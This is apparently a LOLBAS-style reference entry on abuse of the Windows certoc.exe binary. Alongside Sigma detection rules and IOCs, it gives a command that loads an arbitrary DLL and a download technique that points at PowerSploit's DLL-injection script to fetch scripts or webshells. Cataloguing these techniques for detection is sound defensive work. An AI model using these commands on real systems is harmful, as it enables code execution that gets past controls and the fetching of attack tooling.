

/CertOC.exe

[Execute \(DLL\)](#)

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Used for installing certificates

Paths:

c:\windows\system32\certoc.exe

c:\windows\syswow64\certoc.exe

Resources:

- <https://twitter.com/sblmsrsn/status/1445758411803480072?s=20>
- <https://twitter.com/sblmsrsn/status/1452941226198671363?s=20>

Acknowledgements:

- Ensar Samil ([@sblmsrsn](#))

Detections:

- Sigma:
https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certoc_load_dll.yml
- IOC: Process creation with given parameter
- IOC: Unsigned DLL load via certoc.exe
- IOC: Network connection via certoc.exe

Execute

Loads the target DLL file

```
certoc.exe -LoadDLL "C:\test\calc.dll"
```

Use case: Execute code within DLL file

Privileges required: User

Operating systems: Windows Server 2022

ATT&CK® technique: T1218

Tags: [Execute: DLL](#)

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```
certoc.exe -GetCACAPS
```

```
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1
```

Use case: Download scripts, webshells etc.

Privileges required: User

Operating systems: Windows Server 2022

ATT&CK® technique: T1105